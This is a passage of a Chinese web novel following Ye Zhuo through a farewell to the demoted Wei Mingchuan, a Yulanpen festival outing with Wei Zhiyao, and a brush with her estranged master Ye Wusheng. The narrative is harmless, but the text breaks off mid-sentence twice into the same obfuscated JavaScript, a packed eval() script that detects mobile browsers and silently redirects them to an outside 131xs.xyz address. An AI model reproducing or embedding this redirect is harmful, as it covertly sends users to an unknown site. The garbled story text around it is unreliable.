“昨日……你救了我,我很感激。” “你说这个呀。”她挥了挥手,“小忙一桩,不足挂齿!再说了,是你先带我来上京,帮了我的忙啊。” “不,”他说道,“你记着,这件事并非因你而起,你不必觉得亏欠。今日我来,也不是专程来向你道谢的。” 叶灼觉得奇怪:“你这话什么意思?” “以后,别再做这样的事了。” 她猛地坐起:“可你是因为我蒙难,我若不站出来,你不就没命了么?” “你是救了我,可你贸然闯入朝会,又公然在使臣面前让……”他将语调压了压,“让圣上下不来台,这么做有多危险,你知不知道?” “我不怕危险。”叶灼定定地道,“就算你今日这样说,以后再有这样的事发生,我还是会做的。” “这回是侥幸,可下一回呢?当时若不是叶少卿出面解围,你可知会有怎样的后果?要是我没事,丢掉性命的就是你了,你到底知不知道?” “丢了就丢了呗。”叶灼枕着双臂,一脸的不以为然,“我们是朋友啊。为朋友两肋插刀,不是应该的么?今日我看着你受难,往后想起你时,便要后悔当日若挺身而出,或许就能让你活下来。那该是多难受一件事?与其余生都在悔恨中度过,还不如今朝逞一把能呢。” 卫明川怔在原地,似有些讶于她的云淡风轻。 从没听过这样的道理,更没见过这样傻的人。为别人丢了性命,纵使粉身碎骨,也能在所不惜么? 他别过头去,“可我不想任何人因为我受牵连。就像你说的,即便今日我安然无恙,往后我想起你,想起你因我而死,注定一生也不会心安。” 叶灼想了想,是有那么点儿道理。 “哎呀好啦,我们现在都活得好好的,说这些不高兴的做什么。对了,你不是说是来向我道别的么?你要去哪儿?” “朝廷贬我为凉州刺史。”卫明川喃喃道,“明日巳时就要启程了。这一去,不知何时才能归京。或许两年,或许三年,更久也说不定。” “至少小命保住了嘛,好事。”叶灼拍了拍他肩膀。“只要能见到明天的太阳,活着,就有生的希望。” 几分说不清道不明的思绪涌上心头。临别在即,对叶灼这个酒肉朋友,他竟有些舍不得起来。 “你还真是心大。” “要想活命,首先就要心大啊。心大福大,命也大嘛。”望着星空,叶灼忽然想起什么,“你去了凉州,那你妹妹呢,长岛郡主要去哪儿?” “她?王府相安无事,她还有课业,自是留在上京了。” 她乐得拍掌:“太好了!” “嚯,有她在,我就无关紧要了?” 17.破茧(七) “怎么会呢……”叶灼努了努嘴,“我的意思是,我既进了太医署,往后和她是同窗,有个信得过的人,也好相互有个照应嘛。不过我以后要怎么找你呢?” “记得初来上京时,我让你去的清茗居么?”卫明川问道。 “自是记得。你把我骗去做丫鬟,这事我还没找你算账呢。” “怎么能叫骗呢?”他笑得眯起眼,“我好歹帮了你吧。往好处想,最后你是不是见到你师父了?” “也是哦。那我还得谢谢你?” “谢就不必了。” 底下传来隐约动静。卫明川站起来,抖了抖衣袍。这里到底不是久留之地,还是早点走为妙。 “秦三娘是我在坊间安插的线人,往后你若有要事找我,到那里寻她便是。” 叶灼随他起身,这会再俯瞰上京夜景,居然没有那么可怕了。 “这么晚了,那里为何还亮着灯啊?”她指了指远处一座高塔。漆黑夜色之中,独它光芒最盛。尖端高耸入云霄,直挺挺立在中轴线上,金碧辉煌,像是天上宫阙。 “那是座佛塔。明日就是盂兰盆节了,当今圣上信佛,这会儿估计有佛僧在里头念经。” 听他语气有些低沉,叶灼跳起来,一把揽过他的肩。 “塞翁失马焉知非福,开心些。等你去了凉州,可不要忘记给我写信啊。那个地方豺狼虎豹不少,你一定得好好活着,别死了。” “……好。” “还有,务必多给我带些好吃的。我听闻凉州的烧饼、骆驼奶,都是一等一的美味。” 连叮嘱一串,话题终归离不开吃。卫明川笑着点头:“知道了,小馋猫。” “那,”她伸出小拇指,“一言为定!” “嗯,一言为定。” 两指相勾,暖意渐上心头。 去往凉州的路那么长,有了这些念想,倒也没那么孤单了。 “说起来,那日你演得还挺像。若不是我认识你,真要信了你有那么惨呢。”他携她腾起一跃,轻盈落地。 “我看的话本子多嘛,区区这点小把戏,怎么难得倒我?而且我不过是经过那么一点点小加工,其实大部分源自生活啦……” 临别之日不来,人就永远体会不到分离之际,自己能哭得有多惨。 叶灼恰是如此。卫明川走时,她依依惜别地拉扯了好久,方才肯放他上船。 重山叠嶂,扁舟远去。远远地朝他挥手,这会用不上蒜汁,已是一把鼻涕一把泪。 “卫明川,你可千万别忘了我啊!” “也千万别忘了我的美食啊!等你回来,我们再一起喝酒!” 船上那人微笑着回应。江水绵延不绝注入两山之间,像块帷幕将他们隔开。渐渐地声音也听不见了,舟楫化作蚂蚁大小的一个点,消失在视野尽头。 哭了好半天,身边递来一方帕子。她不由分说接过来:“谢了。” 缓过神来一看,身侧不知何时站了一名蓝衣女子。 叶灼揉了揉眼睛,此人似乎有些眼熟。 “你不记得我了?”卫知瑶道,“我们见过两回,一回在太医署,一回在万邦朝会。” “噢!你是那位……长岛郡主,卫明川的妹妹!”叶灼忙不迭道,就要向她行礼。 “我已经不是郡主了。” 卫知瑶扶起她,“你叫叶灼对吧?那日多亏了你,哥哥才能得救。你是亲王府的恩人,不用行如此大礼。反倒是我应该谢你才对。” 叶灼想说点儿什么安慰话,但是官场上的事她不懂得,只好岔开话题:“我瞧郡主面善,不知今年贵庚?” “十五。” “我十二,那我该唤你一声瑶姐姐了。” 瑶……姐姐? 听惯别人一口一个郡主,这般亲昵的称呼,卫知瑶还是头一回听见。 “瑶姐姐,可是来给卫明川送行的?” 她怔怔点头。 “既是送别,正要当面说再见才是。为何适才却躲在暗处,一声不吭呢?” “哥哥他……不会想见我。” “怎么会呢?”叶灼说得慷慨激昂,“你与卫明川是一家人,又这般关心他。你为他甘愿冒死劫狱、舍命相救,又射得一手好箭。我若有这样一个妹妹,该拿命疼才是!” 她摇了摇头,“哥哥与我,并非同母所生。” 叶灼仍是不解。乌鸦尚有反哺之义,即便母亲不同,仍是一个屋檐下的亲兄妹,岂有结仇的道理? 正思虑着,不知从哪儿丢来一簇爆竹,噼里啪啦作响。 叶灼吓得一个激灵,原是几个孩童扮作鬼面,其中一个还朝她嬉皮笑脸做鬼脸。 “小兔崽子,也不看看姑奶奶我是谁!” 她跺脚就要上去追,兔崽子们窜得飞快,一溜烟儿便没了影。 卫知瑶掩袖一笑,“灼妹妹,你是初来上京吧?” 远处锣鼓声作响,街头围了一群男女老少。叶灼本就好热闹,很快被吸引了注意:“不错。那些人是在做什么?” “今日七月十五,乃是一年一度的盂兰盆节。加上西戎归顺,异域佛僧来朝,定是格外热闹。故而今年的庙会,比往年办得都要盛大许多。” 见叶灼一副魂被勾走的模样,脚下已经按捺不住,卫知瑶挽起她道:“灼妹妹若喜欢,我们不妨,过去瞧一瞧?” 天为幕,地作台,铜币响,傩舞起。 十二名鬼面绕篝火腾舞,念着驱鬼咒语。有的手持刀斧,有的击鼓摇铃;动辄有如神鬼附体,呼号跳跃,宛若灵蛇柔若无骨,又兼具蛟龙之威猛。伴随鬼魅轻灵的鼓乐声,每一下摇铃荡尽尘埃,每一次挥刃所向披靡。 叶灼看得热血沸腾,跟着群众一起拍手叫好。 这种怪诞的美,就好像真是神明降生于重重火焰,与苍生共舞。 “诸行无常,诸法无我。六道轮回,灾厄苦多。” 空灵的男声自天而降,赤色鬼面手执巨斧,脚步柔中带刚,动若金蛇狂舞。身影倒映在红墙之上,仿佛猛将开天辟地,斩尽十方妖魔。 “看呐,是开山神!” 鼓声戛然而止,神祇从众人身前掠过,看起来是群神之首。巨斧起落间劈开混沌,踏步时地动山摇,挥袖间潮汐奔涌。 百姓纷纷闭目祈福。 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自打来了上京以后,她第一次觉得自己的家乡真是寸草不生,啥都没有。苦思冥想半天,拍拳道:“噢,还有比脸更大的饼子!” 逛着街市,忽然闻到一阵臭味,几颗奇形怪状的巨果映入眼帘。 “姑娘,要几个?这可是南师国海运来的上等货,新鲜着!” 叶灼从没有见过这样的果子,浑身长满尖刺,黄澄澄、硬邦邦,也不知从哪儿下口。 “这是什么果子?” “这个呀,”卫知瑶说道,“这个叫‘赖尔马’,中原话读作流连,是产自东南的水果。虽然闻着臭,吃起来却又香又嫩,滋味甚好。据说是当年南师归降,进贡给皇帝吃的呢!” 赖尔马,那是什么马? 叶灼觉得新奇极了,左瞧瞧右看看,问道:“这一个多少钱?” “现在是应季好时候,不贵!”小贩比了个手势,“只要二两银子!” “二两银子?!” 叶灼吓了一跳,咂吧咂吧嘴。这刺猬似的果子,竟抵得上她半个月的月钱。上京的物价,当真惊人呐! “哎,姑娘!你是从哪儿来的,陪哥儿几个喝一盅啊!” 叶灼以为是在与她说话,与卫知瑶二人不约而同回过头去。 身边不知何时站了一堆男人,皆是勾肩搭背、一身的酒气,模样浪荡,他们中间似乎还围着一名女子。 醉酒登徒子调戏良家妇女的戏码,叶灼在古川见得多了。撸起袖子就要干架,转念一想,那些人那么多,又长得人高马大,万一她打不过怎么办?瑶姐姐还在一旁,可不能让他们找上麻烦。 于是随手抄起摊上的“赖尔马”,欲要向前丢去。 不料这东西却扎手得很,她被刺得龇牙咧嘴,干脆往天上一抛,蹴鞠似地,一脚踢在硬壳儿上。 “咻”地一下,通体尖刺的小球朝几人飞去,刚巧正中一个男人的屁股。 那人“嗷”地一声,破口大骂:“谁啊?!” 18.破茧(八) 叶灼缩了缩脖子,和卫知瑶躲在果摊旁偷笑。 那帮人东张西望了好一会儿,不知哪儿飞来几颗石子。又是几道重击,他们疼得捂住屁股,四散而逃。 “瞧那副怂样!”叶灼终于憋不住,笑得前仰后合。 小贩伸手要钱,余光瞥到地上的四分五裂的榴莲,她笑不出来了。 转念一想,二两银子就能逞英雄,是笔划算买卖!于是咬咬牙,忍痛掏出荷包。 “多谢少侠相助。”适才被围困的那名女子走过来,拱手行礼。 “在下尹冰,初来容国。不知少侠姓甚名谁,家住何处?改日我托人上门道谢。” “小事一桩,不足挂齿!”叶灼笑呵呵道,“谢礼就不必了,四海之内皆朋友嘛,应该的。” 这女子虽然穿着中原衣裳、戴着斗篷,但扎的是胡辫,生得高眉深目、鼻梁如驼峰似地高耸。一看便是个外邦人,而且是西戎那边的长相。 叶灼揉了揉眼睛,“姑娘,我们是不是在哪里见过?” 尹冰扯了扯嘴角,眼神有些奇怪。 叶灼连忙摆手:“你、你别误会,我不是想套近乎。我只是觉得你有些面熟……” “噢,少侠多虑了,我没这个意思。”尹冰道,“我和我哥哥初来乍到,以前从未踏足中原半步。怎么会与少侠见过呢?” “这样啊。”叶灼忍不住惊叹,“那你中原话说得可真溜!” “少侠谬赞了。” “我是说真的!”她补充道,“以前我住的地方有好些西戎人,他们虽然也会说中原话,但说的都没你好!适才那帮登徒子,姑娘不必在意,天子脚下,谅他们不敢乱来。” 都道中原人摆架子,原来也有这样直爽热心肠的女子。都不必自己出手,倒省了事。 这时候长发男子赶来,尹冰收起身后弹弓。 “他是我的哥哥,尹炎。”她道,“哥哥,适才我路遇登徒子轻薄,是这二位少侠出手相救。” 卫知瑶将目光投向叶灼:“我没做什么,都是她的功劳。” 尹炎微笑致意:“多谢你们救了我妹妹。” 同样是西戎面孔、满头的胡辫,眼神带着丝古怪。 “不用客气,这世上还是好人多的。欢迎你们来大容玩啊!” 互相道过别后,叶灼揽过卫知瑶,扬长而去。 “这两个人……”盯着看半天,尹炎总算想起来,“不是昨日万邦朝会,放走王世子的女子么?她们适才可识破你身份了?” “应该没有。”尹冰道,“昨日我们的位置不显眼,她们当时忙着与那容国皇帝对峙,注意不到我们。不过就算识破也无妨。她们有心救我,想来不会把我们的行踪泄露出去。” “都跟你说了吧,中原也是有好人的。”尹炎沉声道,“我问了城门守卫,今晚狼牙军就要回西北扎营。以防与他们碰头,你我最好赶在太阳落山前离开。” 尹冰将斗篷往上提了提。“早些走也好,免得母君在家等急了。” 出门做好事,走路都带风。 叶灼心情大好,走到一半,肚子却不争气,“咕噜噜”叫起来。 卫知瑶笑道:“饿了?” “嗯……”叶灼挠挠头,有些不好意思。 “正好,我知道一家有名的馆子。你我投缘,今日既结为姐妹,这顿我请你。” 一提到好吃的,叶灼两眼放光,自是耐不住诱惑。 桥头灯红酒绿,酒旗飘飘。其中最显眼的那栋,当属上京第一酒肆——鼎香居。 鼎香居不仅酒好,菜也是一等一的好。据说厨子曾是皇宫里的御厨,出宫后开起作坊,从小小的作坊一直开到大酒楼。许多人慕名而来,尝过皆是赞不绝口。 叶灼每样都夹起一筷,满桌的山珍海味,顷刻被一扫而空。 一顿完了又吆喝:“老板,再来碗百味羹!” 卫知瑶呆呆看着她。这是多久没吃过饭了? “瑶姐姐,你也吃啊。”叶灼夹来只鸡腿。 酒肆人来人往,楼下上来名男子,直奔索唤。身后女子催促上楼。扎着单边的麻花辫,一袭软烟罗裙惹眼。 “介师姐!”叶灼惊喜摆手。 介铃闻声回头。见是熟人,将荷包丢给江枫。 江枫白她一眼,屁颠屁颠打包去。 “介师姐,你穿这身衣裳,和昨日穿学子服的样子比起来,好不一样啊!” “是么?”介铃道,“是难看了还是好看了?” “当然是好看了!”她激动道,“这身衣服特别衬你,好像话本子里的闺阁小姐!” “灼妹妹,你这话就不对了。”卫知瑶笑道,“介师姐本就是闺阁小姐,何来像这一说?” 适才没注意失了礼数,介铃转而向对面那人行礼。 “郡主。” “介师姐,你忘了?”卫知瑶道,“我已被革去封号,不再是郡主了。” 她拍了下嘴巴,连忙改口:“卫小姐。” “你我多年好友,往后既是同窗,就不必如此多礼了。”卫知瑶温声,话语中有几分无奈。 青衫白面的少年向三人走来,手里拎着荷叶包裹,语气吊儿郎当:“闺阁小姐要是像她那样,天底下可要被女魔头占领了。” “好你个江枫!”介铃硬是在他屁股上来了一脚,“敢说我是女魔头,不要命了你!” 江枫哎哟一声,边躲边呲牙:“还说自己不是呢!” 介铃闻言抄起拳头。江枫钻到桌角,猫捉老鼠似地绕桌一圈又一圈。拳头够不到,干脆抄起店小二的扫帚。 “好了好了,你们两个,别再闹了。”卫知瑶道,“小师妹还在呢,打扰人家做生意,成什么样子?” 叶灼嗑瓜子看戏,不由得感慨,这二人体力真好啊。 绕来绕去,介铃突然停下脚步,和他撞了个满怀。 “小铃儿……”江枫可怜巴巴只差没有摇尾巴,“求放过。” 介铃揪起他耳朵,叮呤咣啷就是一顿揍。 卫知瑶掩袖轻笑:“今日突然来鼎香居,可又是宋娘托你买吃食?” “嘿嘿,什么事都瞒不过小姐您的慧眼。”介铃想起正事来。“小郡主不肯吃饭,吵着要吃鼎香居的什锦木樨糕。偏偏赶上祭祀走不开,可把宋娘给急坏了!” “小郡主正是长身体的时候,整日吃甜食,这怎么成?” “唉,这不是没办法么。”她叹了口气,揪过那只红肿的耳朵,“不过还好。有这个家伙任我差遣,不算太累。” 江枫怨气冲天瞪她一眼,护好怀中点心:“说好这里头有我一份,你可不许骗人啊!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773298|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么敢饿着我们江少爷呢。”介铃阴阳怪气地笑笑,将他推搡出门。 “不说了啊,一会儿糕饼该凉了。我俩先回了,明天见!” 望着二人远去,叶灼连连慨叹:“他们俩关系可真好啊。” 卫知瑶不由得咂舌,“一见面就吵闹个不停,这也叫好么?” “打情骂趣,恰恰是关系好的证明嘛。”叶灼托着下巴喃喃,“要是师兄受不了挨打,怎么成天和介师姐待在一起呢?瑶姐姐你有所不知,这就叫欢喜冤家。” “欢喜冤家?”卫知瑶垂眸思考,好像有那么几分贴切。 “话又说回来,你们适才提到的小郡主,是谁呀?” “小郡主褚寰,乃当朝太子之女。”卫知瑶应道,起身结账。 “那那个……宋娘,就是她的阿娘咯?” 卫知瑶轻点她额头,小声道:“宋娘是打理东宫的奶娘。小郡主是太子之女,亲娘理应是太子妃呀。” 叶灼吐了吐舌头,又没管住这张八卦的嘴。本来她对上京的事一无所知,想着多问些宫中见闻,以备不时之需。可是看卫知瑶隐约其辞,好像这个话题犯了什么忌讳似的,只好就此打住。 出鼎香居的时候,天完全黑下来。 水陆法会历时七昼夜,寺庙传来和尚诵经声。 过了拜三官、放焰口的环节,家家户户摆上祭坛。所经之处,天上飘的是黄纸,脚下踩的还是黄纸。江边琴音阵阵,画舫游船穿梭,船头悬挂一串串红灯笼。 十里繁华地,灯火彻夜明。若是在古川,这个时候早该宵禁了,上京的夜晚却比白天还要亮。叶灼从未见过这等排场,一路下来啧啧惊叹,和卫知瑶边走边聊。 “瑶姐姐,你跟介师姐,好像很熟的样子?” “我和她是儿时的玩伴。新政出台时,介大人曾与我父亲共同理事。介夫人又是东宫司馔,不久前刚刚称病革职。宋娘一人忙不过来,偶尔也会托介师姐帮忙。” 叶灼点着下巴,“那江师兄呢?他一个国舅之子,怎的却跑到太医署打杂?” “他呀……我与他不甚相熟,只听介铃说常与他共事,进太医署不过是躲避他父亲的权宜之计。至于具体原因,就不得而知了。” 银练的尽头,源源不断漂来无数莲花形状的河灯。灯火熠熠下,照得水面一片通明。 放灯百姓有男有女、有老有少,随着脚步愈来愈近,祈祷的声音愈发清晰。 “普施仪式结束了,百姓们正在放河灯呢。” 那些小小的莲花灯,火光虽羸弱,却承载着无数人的愿景。无论对远征良人归来的期盼,亦或是对死去亲人的思念,都被寄托在这一缕火光中。 “保佑我们当家的,早点儿回来……” 然而对叶灼来说,既不曾拥有过谁,也不曾失去过谁,自然体会不到那些情感。 对于如今的生活,她已经很是知足。只要师父、朋友都好好的,还有什么值得奢求呢? “我们要不要也去放一盏?” 正踌躇着,一盏莲花灯漂到脚边。步子顿住,任由它被细碎的石子挟带而过。心口莫名有些发闷。 逆流望去,对岸之人抬起视线,刹那眸光相撞。 那是叶灼此生最熟悉、最不可能忘掉的眉与目,此时正以同样错愕的目光,一动不动望向她。 19.破茧(九) 叶无声伫立岸边,手中刚放下一盏莲花灯。一江之隔,千万盏河灯穿身而过,淌过石桥,淌过她脚边。 抬眼那一瞬,火光朦胧,灯影婆娑。 不知何处乐师奏曲,瑶琴声响,濛濛然令人心颤。 “东门之杨,其叶牂牂。昏以为期,明星煌煌……” 也不知师父许下的,会是什么愿呢? “不必了。”叶灼敛了敛眸,挽起卫知瑶的胳膊。“我没有什么愿望。” “你不准备和他相认么?”卫知瑶显然也看到他了。可这二人既是师徒,为何叶灼的反应这般奇怪? “师父平安无事已是最好,没什么好认的。” 她指了指许多人围着的地方。“那儿好像有人在弹琴诶,我们过去看看吧!” 掠过人影绰绰,他的目光追逐着那道背影。莲花灯倏然熄灭。 这已是她回京以来,第三次见他就跑。叶无声微微皱眉,略显困惑。 是真当自己看不见,还是有意躲着他? “叶少卿,香烛已燃尽,可以开始撤供了。” “知道了。”叶无声随意应了句,“陛下现在何处?” “正在梵音寺礼佛。” 叶无声点头示意。胥吏退下以后,往城外方向去。 藕粉花裙的女孩提着灯笼,欢笑着从身边跑过。叶无声脚步微微顿住。 有那么一瞬间,仿佛看见年幼的叶灼。 十年前,他第一次在上京遇见她,是他第一次受命潜入敌后。那时她个子只有这么丁点高,穿的同样是身粉裙,手里提着兔子灯,还在蹒跚学步。 “阿爹,你又输给寰儿了!”女孩回过头笑。 纳兰景追上来抱起她,欢声笑语穿过长街。远远地看见叶无声,走上去搭话:“叶少卿,今天是休沐日,你怎么也在呀?” “太子殿下。”叶无声回过神来, “今日七月十五,乃祭祀佳节,陛下遣臣操办仪仗诸事。” “这样啊。”纳兰景想起昨日的事,拍拍胸脯邀功:“叶少卿之前嘱咐的,我可是一字不落,全背下来了哦!” “殿下做得很好。”叶无声道,“但求以后在陛下面前,不要出纰漏才是。时候不早,殿下记得早些将小郡主送回东宫,不要让陛下起了疑心。” “放心吧,本太子的女儿,本太子定不会让她有事!” 叶无声点头致意。 算起来,适才放下的河灯,应是已漂到北城门了。 眠江之畔,莲花灯顺流而下,被刀鞘拦住。 年轻将领身披银色战甲,俯身放下另一盏灯。稍作观望后,从灭了的灯芯取出小小的竹筒。 “邢将军,”一名士兵来报,“狼牙军候时已久,趁着庙会人多耳杂,请将军早日启程。” 邢真将竹筒收了收,压粗嗓子:“急什么,没看到本将军正在为老母亲求平安么?” 待那名士兵退下,他方才摊开字条。 上头赫然写着:曳兵,授钺,以谋虎。 “看来陛下已然决心保下太子。”他将字条攥紧,一双格外突兀的绿瞳微眯,嘴角噙起怪异的笑。 岐州气候那么干燥,也不知这副皮囊,够不够他撑个一年半载呢? “起军。”他道。 狼牙军大队应令启程,离开北城门。 江畔人潮簇拥,琴音阵阵。 唱词到了下半段,旋律急如玉珠走盘,缓若月华倾泻,引得不少路人驻足。 凭着身量优势,叶灼拉着卫知瑶,顺利挤到前面几排。 水边亭榭中,一名女子戴着面纱,眉如远黛青山,目似秋水横波。似是卖艺的乐户,跟前摆有一只瓷碗,怀中执着古琴。这把琴看起来有些年头,琴身漆面布满了断纹。 素手轻扫,每一下拨动扣人心弦。 “东门之杨,其叶肺肺。昏以为期,明星晢晢……” 歌声空灵直上九霄,恍惚之中,似有佳人静候于城下,遥看金乌西坠,玉兔东升。 琴乐交织,道不尽幽婉缠绵,诉不尽思念流离。与江畔美景相衬,似乐还哀,令人魂萦梦牵。 围观群众沉浸曲中,不知天地为何物。好半天以后,陆续有文人雅士上前打赏。 “好曲儿,好曲儿!” “这位姑娘来上京好些时日,每每路过江边,都能听到这样的天籁。真是荡涤心灵呐!” 叶灼忍不住称赞:“姐姐,你琴弹的好生厉害!只是我听这曲中意,总觉得感伤,不知道这词是什么意思呢?” “姑娘年纪尚小,竟也能听懂曲中之意?”女子弯起眼,微微歪头看她。 叶灼点点头,想上去放赏钱,却被个不讲理的捷足先登。 这人一身华贵装扮,看起来是富家来的公子哥儿,听声音有些熟悉。 “好一首《东门之杨》。男女期会,约而不至,有情人苦候所思。” 叶灼揉了揉眼睛,绕到他身侧。 只见他放下银票,将折扇一合:“今日得遇佳人,是许某三生有幸。不知小娘子可否赏个脸,移步府上再奏几曲?” “许昭昭?!”她瞪大了眼。 见是叶灼,许昭昭虎躯一震。为了掩饰尴尬,人模狗样地作揖:“小娘子,您千万莫要误会。我是诚心看姑娘琴弹得好,想邀您到府中小叙……小娘子眉目如画,曲又弹得这般好,定是个美人。为何却遮遮掩掩,不让大伙儿一睹芳容呢?” 女子急忙掩面:“我卖艺不卖身,碍于脸上疤痕不便示人。” “小娘子若是嫌银钱不够,我这儿有的是……” “不关银钱的事,请公子自重!”女子后退几步。 许昭昭嘿嘿笑着,欲要揭她面纱,却被叶灼一把抓住手腕。 “姐姐,你别信他的话,这个人看起来衣冠楚楚,其实根本是衣冠禽兽,一肚子坏水!” “你——!”许昭昭狠狠瞪她一眼,压低声音道,“姓叶的,又是你!老子出来逛个庙会,干你什么闲事?” “姑奶奶平生就好管闲事。”叶灼举起他的手,硬翻个身,面朝群众,“诸位都听见了。这位姐姐卖艺不卖身,却有人目无王法动手动脚,强邀她进府作客!此等好色宵小,怎容他为祸民间?!” “说得是啊。人家姑娘都不乐意了,岂有强迫人的道理?” “我们还要听曲儿呢,叫他一个人独享,我们听什么去?” 见情势不妙,许昭昭挣开她,冷哼一声:“好,敢跟老子作对,你可惹上大麻烦了……明日学堂相见,有你好果子吃!” “你调戏良家妇女还有理了,当姑奶奶是被吓大的不成?”叶灼将银票一甩,给了他屁股一脚。 “拿走你的臭钱!” 目送他灰溜溜逃走,众人拍手叫好。 叶灼挠了挠头,回首望去,弹琴的姐姐已然不见踪影。还来不及问她名字,怎么就走了呢?算了算了,这么美的曲子,应该还有机会听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787958|172603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到吧。 人群熙攘,方面阔肩的青年执剑而立,攥紧手中剑柄。 身后之人观望许久,此时走上来道:“邱山。” 他手中动作一松,抱拳行礼:“郡……呃,卫小姐。” “现在还未到轮换时间,你不领军守城,跑到江边来做什么?”卫知瑶问。 “今日节庆,陛下允我返乡祭祖,刚刚回来。临时接到西戎使臣擅自离宫的消息,犹恐生变,故奉命巡城。” 卫知瑶狐疑地瞧着他,“既是巡城,怎却上赶着听曲儿?” “噢,我想着这里人多,使臣可能混在人群中,就过来看一看。”邱山道,并没有抬眼。 “真的?” “真……真的。” “瑶姐姐!”叶灼远远赶来,差点儿绊到石子。 卫知瑶张手扶住,“瞧你,一身汗。跑那么急做什么?” “瑶姐姐,你可让我好找,刚才我这里那里绕了一大圈,到处不见你的影子,还以为你先回去了呢!” 叶灼上气不接下气,说话间注意到她身旁男子。长相眼熟得很,但一时想不起在哪见过。 “这是屯骑校尉,邱山。”卫知瑶道,“金沙关一战曾与哥哥共同出征,近日才被调回上京。” 叶灼点头问安。仔细回想起来,来上京路途中,好像是有这么个人,一直伴在卫明川左右,难怪自己会觉得眼熟了。 天色不早,街上人群渐渐散去。 卫知瑶住在临近城郊的亲王府,明日还有课业,不能耽搁得太晚。几人寒暄一阵,叶灼与之道过别,沿路回了太医署。 想不到上京的登徒子也这么多,这一天折腾下来,实在把她累得不轻。简单洗漱后,她将脏衣服换下,包进被窝,很快便睡过去了。 夜里猫叫声不断,扰得她时梦时醒,以致于翌日差点儿起不来。 太阳刺得睁不开眼,叶灼挟着课本,有些晕乎乎地四处晃荡。太医署原来那么大啊,找课室都要找好半天。 “咚——” 晨钟声响起。行至一处转角,迎面撞上具结实的胸膛。 “哎哟。”书本掉了一地,叶灼扶着额头,连忙蹲下来捡。“对不起对不起。”也不管撞到谁,她第一堂课就要迟到了,没时间瞎扯皮。 跟前那双云纹笏头履,却连动也不动一下。 这人就这样杵着,难道是计较上了?大不了一会儿好好道个歉。可这人穿的好像不是学子服,难道是前来讲课的博士?不对不对,没见过沈博士穿这么素雅的衣裳啊。 思来想去,愈发觉得不对劲,直到那人冷冷开了口:“阿灼。” 叶灼捡书的动作瞬间僵住。 “师……”话到嘴边又觉得不妥,“呃,叶少卿。” 视线缓缓上移,叶无声就这样平静望着她。看不出一丝表情,反令她一阵哆嗦。 “课钟都响了第八遍,你怎的还不去上课?” “弟子适才迷路了,这就去!”她连忙起身,像只无头苍蝇乱转,一时间竟分不清东南西北。 他伸出手来,将她掉转了个方向。 “竹苑往这边。”叶无声说道,指向她的正前方。 叶灼垂下头,声音微弱得像只蚊子:“谢师……叶少卿。” “慢着。” “怎、怎么了?” 她直挺挺转身,像根木头杵在原地。 却见叶无声拾起地上的书,步步向她靠近。 20.破茧(十) “书不要了?” 地上零零散散几本医书,被叶无声整齐地叠起,递到她手里。 似有若无的药香,带着淡淡的柔和的木头味道,撺掇出记忆中熟悉的、独属于他的气息。 “多谢师……叶少卿。” 叶灼连眼睛都不敢抬一下,怀里捧的仿佛不是书,而是块烫手山芋。道过谢,活像逃命似地匆匆忙忙跑开。 叶无声摇了摇头,颇有几分无奈。多待一阵,他是会吃了她么? 竹苑在偏殿的一处竹林前,鸟语花香,景致清幽。 踩着最后一声课钟,叶灼随意找个位置坐下。 打量了一周,学子们大都备好了课本,各自说着小话。只见几张熟面孔聚集在廊前,再定睛一看,原来是许昭昭一伙人在打地牛。 小小的地牛一转,地面刮蹭出火光。那火光“吱溜”一声窜得老高,许昭昭带头抽绳,木质椎体旋得飞快,笑声几乎能穿透耳膜。 叶灼翻了个白眼,“幼稚。” 地牛有什么好玩的?又不是甚的稀罕玩意,她打从六岁起就不玩了。 只听得两声轻咳,几人匆忙归位。花白胡子老头踱步进了门。 “这堂课,我们接着讲《本草》。” 摊开课本,叶灼想起来,此人是领她入门的沈拓沈博士,太医署的医科博士。 她当丫鬟扫地时,博士集合议事,曾窝在一旁偷偷观察过。太医署四博士中,她对这位白胡子老头印象尤为深刻。 因他和人讲话老是眯着眼,手里拿着个什么东西,总好像看不清似的。经过一番无聊的观察,叶灼合理怀疑——他是个觑觑眼。 果不其然,沈拓慢悠悠上讲坛,从怀中揣出来只叆叇。用袖口擦拭镜面,又吹了吹,开始摇头晃脑地读。 “云母味甘平,主身皮死肌,中风寒热,安五脏,益子精……” 他说一句,学子们念一句,还要跟着一起摇头晃脑。叶灼觉得有点儿好玩,这样读书是会把知识摇进脑子里么? 跟着摇头晃脑了一会儿,她觉得脑袋瓜都要被摇匀了。于是暂停下来,随手将带来的几本书翻了翻。 《本草》《素问》《明堂经》……这些都是早年间,师父让她原封不动背过的。 叶灼从小被放养大,一直不懂得生活上其他事师父不闻不问,为何独独对她学医抓得紧。他离开这三年间,自己虽然医术没长进多少,但还时不时会做背书卡壳、抄书抄到手麻的噩梦。 不过师父是太常寺的人,怎么会出现在太医署呢?适才跑得紧,竟然都没想到这一点。医科诸事素日由沈博士与学官料理,今日也并未听说有人来视察。 莫非…… “主补肺下气,补中坚肌,除邪气,安精神。”沈拓突然顿住。 “叶灼!” 戒尺狠狠敲在桌上,“老夫适才讲到哪儿了?” “讲到哪儿?”叶灼从椅子上跳起,搓着手指吞吞吐吐,“讲到《本草》,《本草》……” “用得着你说?”又是猛地一敲,震得她一句话说不出来。 “老夫问你,芒硝性味如何,归属何经?” 